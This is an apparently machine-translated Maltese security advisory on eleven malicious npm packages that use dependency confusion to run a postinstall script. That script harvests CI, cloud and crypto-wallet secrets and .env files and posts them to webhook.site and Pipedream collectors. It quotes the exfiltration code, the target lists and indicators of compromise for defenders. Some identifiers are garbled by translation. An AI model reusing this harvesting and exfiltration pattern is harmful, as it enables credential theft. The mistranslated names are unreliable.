Konfużjoni dwar CryptoDAO: Ħsad ta' Pakketti npm CI/CD u Sigrieti tal-Kripto

Konfużjoni CryptoDAO: ħdax-il pakkett npm, payload wieħed, ħsad CI/CD u sigrieti tal-kripto-kartiera

TL; DR

Fis-17 ta' Ġunju 2026, ġie ppubblikat kont wieħed tal-npm ħdax-il pakkett li jaqsmu skop wieħed u tagħbija waħdaGħaxra minnhom iġorru l- cryptodao- prefiss (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); il-ħdax huwa l-ambitu @public-for-cdao/coreKull waħda ġiet ippubblikata fil-verżjoni 99.99.99 u jibgħat byte identiku recon.js li tibqa 'għaddej postinstall.

L-ismijiet huma t-tradizzjoni. Jinqraw bħall-blokki interni tal-bini ta' toolchain privata ta' proġett kripto/DAO. Ippubblikati fir-reġistru pubbliku npm f'verżjoni artifiċjalment għolja, joqogħdu jistennew għal build. pipeline li huwa kkonfigurat biex isolvi dawk l-ismijiet u li jilħaq npm pubbliku qabel — jew minflok — ir-reġistru privat. Dan huwa konfużjoni dwar id-dipendenza, u l-piż huwa aġġustat għal eżattament fejn jistenna li jinżel: CI/CD runners.

Meta postinstall nirien, recon.js jiġbor id-dettalji tal-ospitant, jiknes b'mod ġenerali erbgħin varjabbli tal-ambjent tas-sħab, tas-CI, u tal-kripto-kartiera, jaqra kwalunkwe .env fajls li jista' jsib u jibgħat il-linji li jġorru s-sigrieti kelma b'kelma, imbagħad jittrażmetti l-pakkett lil żewġ kolletturi — webhook.site u endpoint Pipedream — bil-verifika taċ-ċertifikat TLS diżattivata. Kopja hija miktuba wkoll taħt /tmp.

Severità: għoljaEkosistema affettwata: npmIl-ħdax-il pakkett kollha kienu disponibbli fil-ħin tal-kitba.

Anatomija tal-attakk

Il-mekkaniżmu għandu erba' partijiet li jiċċaqalqu, u l-ebda waħda minnhom mhi sottili ladarba tkun taf x'għandek tagħmel. ħares saff ieħor lil hinn mill-isem tal-pakkett.

1. L-inflazzjoni tal-verżjoni bħala lixka għar-riżoluzzjoni. Kull pakkett jiddikjara l-verżjoni 99.99.99Il-konfużjoni tad-dipendenza taħdem meta maniġer tal-pakketti jitlob għal isem intern, jiċċekkja wkoll ir-reġistru pubbliku u jagħżel l-ogħla verżjoni li jkollu finds. L-għażla awtomatika ta' npm għal firxa ta' caret jew wildcard hija l- l-ogħla verżjoni sodisfaċenti f'kull sors ikkonfigurat; jekk kemm sors privat Reġistru u tweġiba pubblika npm għall-istess isem, jirbaħ in-numru tal-verżjoni l-akbar. A 99.99.99 jegħleb essenzjalment kwalunkwe verżjoni interna reali li jkollu proġett intlaħaq, għalhekk riżolver li mhux marbut mas-sors privat jippreferi l- kopja pubblika — u f'dan il-każ, ostili. L-operatur m'għandux għalfejn ikun jaf il- in-numri tal-verżjoni reali tal-mira; l-għażla ta' massimu assurda tiggarantixxi li dejjem ikun hemm parità ikisser triqthom.

2. Trigger ta' wara l-installazzjoni. package.json wajers tal-payload għall-installazzjoni ċiklu tal-ħajja:

{   "scripts": { "postinstall": "node recon.js" } }

Mhija meħtieġa l-ebda importazzjoni tal-pakkett. Sempliċement l-installazzjoni tiegħu — li ​​CI pipeline jagħmel awtomatikament — jaħdem recon.js.

3. Skoperta sigrieta wiesgħa. recon.js jiġbor flimkien firxa ta' riżultati fi stadji:

  • Kuntest tal-host: isem tal-host, pjattaforma u rilaxx, arkitettura, isem tal-utent, funzjonament direttorju.
  • Varjabbli tal-ambjent: tirrepeti lista fissa ta' madwar erbgħin isem u rekord kwalunkwe waħda li hija ssettjata. Il-lista hija rivelatriċi — tgħaqqad tokens ġeneriċi tas-CI (ĊI_JOB_TOKEN, PASSWORD_TAR-REĠISTRU TAĊ-ĊI, GITLAB_ACCESS_TOKEN) u sħaba kredenzjali (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) bis-sigrieti tar-reġistru u tal-kontenitur (NPM_TOKEN, DOCKER_PASSWORD, PASSWORD TAL-PORT) u raggruppament b'togħma distinta ta' kripto:  Ċavetta_Privata, MNEMONIKU, FRAŻI_ŻERRIEGĦA, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCIl-valuri rreġistrati huma mqassra għall-ewwel 50 karattru.
  • .a V fajls: jinvestiga lista ta' mogħdijiet — .a V, ../.ambjent, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, u l- .produzzjoni/.żvilupp varjanti — u għal kwalunkwe fajl li jeżisti, dan jiffiltra l-kontenut għal-linji li jaqblu ĊAVETTA|SIGRIETI|TOKEN|PASS|PRIVAT|MNEMONIKU u jimbotta dawk il-linji **sħaħ, mhux maqtugħin** fir-riżultati.
  • Kuntest Build-host: jelenka l-ewwel 20 entrata ta' /jibni/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, u / tmp /.

Il-lista tal-mogħdijiet u l-lista tal-varjabbli huma ponderati lejn runners tal-GitLab, li jindikaw il-payload direttament fuq infrastruttura CI ospitata waħedha minflok żviluppatur laptop. Il-ġbir tal-lista tal-ħsad skont il-kategorija jagħmilha ċara x'qbid maħsub:

kategorija Varjabbli / mogħdijiet milħuqa
CI/CD identità u skjerament CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Reġistru u kontenitur NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Ħażniet tad-dejta DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kripto / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Messaġġi SLACK_TOKEN, DISCORD_TOKEN
Fuq id-diska .env familja + /home/gitlab-runner/.env, /root/.env, /app/**/.env; listi tad-direttorju ta' /builds/, /var/lib/gitlab-runner/

Il-cluster tal-kripto huwa l-parti li tiddistingwi dan minn sigriet CI ġeneriku. knis: il-frażijiet taż-żerriegħa tal-kartiera u ċ-ċwievet tal-iffirmar jidhru biss fl-ambjent ta' proġett blockchain, u huma jimmappjaw direttament fuq il- kriptodao-/sinjal/kuntratti l-ismijiet tat-trasportaturi.

4. Esfiltrazzjoni doppja bil-verifika diżattivata. L-arranġament miġbur huwa serjalizzat u mibgħut POST għal żewġ destinazzjonijiet:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

irrifjutaMhux awtorizzat: falz jitfi l-verifiki taċ-ċertifikati TLS għall-ħruġ sejħiet. L-istess dejta tiġi stampata fuq stdout (għalhekk tidħol ukoll fil-logs tax-xogħol tas-CI) u bil-miktub li /tmp/.npm_recon_ .jsonL-iżbalji jinbelgħu fis-skiet, għalhekk Sentenza falluta ma tħalli l-ebda traċċa fl-output tal-installazzjoni lil hinn minn waħda [rikonċiljazzjoni] installat fuq linja.

Kumment ewlieni fil-fajl jiddeskrivih bħala “Konfużjoni ta’ Dipendenza” "Tagħbija ta' Rikonoxximent." It-tqassir tal-valuri tal-ambjent għal 50 karattru ġie implimentat il-forma ta' prova tal-kunċett. Dak li jmexxiha lil hinn minn sinjal ta' preżenza biss huwa l- .a V immaniġġjar: linji li jġorru sigrieti jintbagħtu b'mod sħiħ, u d-destinazzjonijiet huma żewġ kolletturi li jaħdmu, ikkontrollati mill-attakkant minflok sink li jgħodd biss hits.

Kronoloġija

Il-mudell tal-pubblikazzjoni huwa l-firma ta' push skritt wieħed, mhux ħdax uploads indipendenti.

Ħin (UTC, 2026-06-17) avveniment
03:24:58 cryptodao-bot@99.99.99 ippubblikati
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — varjant b'ambitu, ~24 minuta wara

Għaxar pakketti ħarġu f'tieqa ta' 29 sekonda, bejn wieħed u ieħor wieħed kull tliet sekondi. L-ambitu @pubbliku-għal-cdao/qalba segwit madwar 24 minuta wara — it-tieni konvenzjoni tal-ismijiet għall-istess mira, f'każ li l-proġett li qed jikkonsma jirreferi għall- katina ta' għodda interna taħt ambitu aktar milli bħala ismijiet vojta.

Indikaturi ta' kompromess

tip Indikatur
Kollezzjonisti hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Kollezzjonisti hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Installa l-ganċ postinstall: node recon.js
Fajl imwaqqa' /tmp/.npm_recon_<timestamp>.json
Markatur tal-zkuk [recon] <pkg>@<ver> installed on <hostname> (stdout fil-logs tas-CI)
Komportamentali rejectUnauthorized: false fuq HTTPS 'il barra waqt l-installazzjoni
Tagħbija recon.js, identiku fil-ħdax-il pakkett kollha (bini wieħed kondiviż)
verżjoni 99.99.99 fuq kull pakkett
Pakketti cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (kollha 99.99.99)
Yayımcı,en aduljune / aduljune@proton.me (email mhux verifikata, l-ebda repożitorju tas-sors marbut)

 Attribuzzjoni u mġiba osservata

Kollox dwar il-grupp jindika id waħda. Il-ħdax-il pakkett kollha ġew ippubblikati. mill-kont npm aduljune (aduljune@proton.me, indirizz mhux verifikat mingħajr repożitorju tas-sors marbut), fi żmien 25 minuta, fl-istess ħin 99.99.99 verżjoni, tbaħħir ta' recon.js li l-kontenut tagħhom huwa identiku byte b'byte f'kull pakkett (MD5 jaqbel mal-ħdax-il kopja estratti kollha). Dik hija payload waħda ittimbrat fuq lista ta' ismijiet, mhux użu mill-ġdid ta' kodiċi indipendenti.

Il-lista ta' ismijiet tiddefinixxi l-mira maħsuba. kriptodao-* u, cdao iddeskrivi l- tqassim ta' modulu privat ta' proġett kripto/DAO, u l-lista tal-ħsad tal-payload mirja li jaħsbu: flimkien mas-sigrieti ġeneriċi tas-CI u l-cloud, speċifikament jilħaq għal Ċavetta_Privata, MNEMONIKU, FRAŻI_ŻERRIEGĦA, u Ethereum/BSC RPC u ċwievet tal-fornitur. Il- .a V mogħdijiet ta' tiftix u listi ta' direttorji huma GitLab-runner speċifiku. L-effett osservabbli huwa li kwalunkwe pipeline ingannat biex jinstalla dawn l-ismijiet kienu se jibagħtu t-tokens tas-CI tagħhom, iċ-ċwievet tal-cloud, u d-dejta fuq id-diska .a V sigrieti — u, għal proġett ta' blockchain, il-materjal tal-kartiera tiegħu — lil żewġ kollezzjonisti ta' partijiet terzi.

Ma nagħmlu l-ebda talba dwar min jopera l-kont jew x'kien ippjana li jagħmel bil- dejta. Il-fatti li joqogħdu waħedhom: l-ismijiet jimmiraw lejn tip speċifiku ta’ katina tal-għodda interna, il-payload jaqra u jittrażmetti valuri sigrieti reali, u l- l-infrastruttura kienet attiva.

Impatt, xejriet, u gwida għad-difensuri

Konfużjoni tad-dipendenza jibqa' effettiv għax jisfrutta l-imġiba tar-riżolver, mhux vulnerabbiltà fi kwalunkwe pakkett. It-trasportatur hawnhekk huwa trivijali — ħdax kważi vojta pakketti — iżda r-raġġ tal-isplużjoni huwa kwalunkwe pipeline bi żball jippreferi npm pubbliku għal isem intern. Is-CI runners huma l-agħar post biex dan iseħħ: iżommu eżattament it-tokens u .a V fajls li dan il-payload jaqra, u jinstallaw dipendenzi mhux interattivi, għalhekk a wara l-installazzjoni jiġri mingħajr ħadd ma jarah.

Dan il-grupp jaqbel ukoll ma' xejra li nibqgħu naraw: payloads fil-ħin tal-installazzjoni li jippreżentaw bħala "riċerka" jew "rikonoxximent" waqt li jkun qed isir ġbir ta' kredenzjali reali. It-tikketta fil-fajl ma jbiddilx dak li jagħmel il-kodiċi fuq runner. Żewġ għażliet ta' disinn jibqgħu l-attività kwieta: kull operazzjoni tan-netwerk u tas-sistema tal-fajls hija mgeżwra f' maniġer tal-eċċezzjonijiet li jwarrab l-iżbalji, għalhekk tibgħat imblukkata jew fajl nieqes ma jipproduċi l-ebda output dijanjostiku, u l-unika ħaġa stampata hija waħda innoċwa [rikon] … installat linja li titħallat mal-chatter normali tal-installazzjoni. L-użu ta' webhook.sit u Pipedream hija wkoll konvenjenza apposta — it-tnejn huma bla ħlas, servizzi ta' qbid ta' talbiet ipprovduti istantanjament, għalhekk l-operatur ma jeħtieġ l-ebda server ta' tagħhom stess u d-destinazzjonijiet jidhru bħal ismijiet ta' hosts SaaS ordinarji fil-logs tal-ħruġ.

L-ekonomija hija dak li tagħmel dan jistħoqqlu l-attenzjoni ta' difensur anke jekk Il-kodiċi tat-trasportatur huwa trivijali. Ir-reġistrazzjoni ta' ħdax-il isem ma tiswa xejn, il-payload huwa wieħed fajl ikkupjat ħdax-il darba, u l-maniġer tal-pakketti jagħmel l-eżekuzzjoni kollha. Fajl wieħed ikkonfigurat ħażin pipeline Kull fejn jikkonsma wieħed minn dawn l-ismijiet iħallas għall-prezz kollu operazzjoni.

Passi konkreti għad-difensuri:

  • Waħħal l-ambiti interni mar-reġistru privat tiegħek. Ikkonfigura npm għalhekk ismijiet interni
     u l-ambiti jirriżolvu biss kontra r-reġistru tiegħek (immappjar tar-reġistru .npmrc b'ambitu,
    jew prokura li qatt ma taqa' f'npm pubbliku għal namespaces proprjetà ta' detenturi). Irriżerva l-ismijiet tal-ambitu pubbliku tiegħek sabiex ħadd ma jkun jista' jirreġistrahom.
  • Commit lockfiles u installa b'–ignore-scripts fis-CI fejn fattibbli, jew Ivverifika s-sett żgħir ta' dipendenzi li ġenwinament jeħtieġu skripts tal-installazzjoni.  recon.js ma jistax jaħdem jekk wara l-installazzjoni ma jiġix eżegwit.
  • Ittratta verżjoni ta' isem li jidher intern b'valur ta' 99.99.99 (jew oħra assurdament għolja) bħala bandiera ħamra fir-reviżjoni tad-dipendenza u l-monitoraġġ tar-reġistru.
  • Twissija dwar ħruġ fil-ħin tal-installazzjoni. A wara l-installazzjoni li jiftaħ HTTPS 'il barra konnessjoni — speċjalment bil-verifika taċ-ċertifikat diżattivata — ma' webhook.site, Pipedream, jew servizzi simili ta' qbid ta' talbiet ta' min jimblokkahom fit-tarf tan-netwerk u jimmarkahom fil-logs tal-bini.
  • Fittex l-artefatti. Iċċekkja l-ġirjiet għal /tmp/.npm_recon_*.json u għall - [recon] … installat fuq … markatur fil-logs reċenti tas-CI. Jekk jinstab, dawwar kull kredenzjali esposta għal dak pipeline — Tokens tas-CI, cloud keys, tokens tar-reġistru, u kwalunkwe wallet seed jew private keys preżenti fl-ambjent jew fil-fajls .env.

Referenzi

Ma kien jeżisti l-ebda rappurtar estern dwar dan il-grupp fil-ħin tal-kitba; l-analiżi ta' hawn fuq huwa bbażat direttament fuq il-kontenut tal-pakkett ippubblikat

sca-tools-software-composition-analysis-tools
Prijoritizza, irranġa, u assigura r-riskji tas-softwer tiegħek
Ikseb il-Kont B'Xejn tiegħek.
Mhix meħtieġa karta ta 'kreditu.

Assigura l-Iżvilupp u l-Kunsinna tas-Softwer tiegħek

bis-Suite tal-Prodotti Xygeni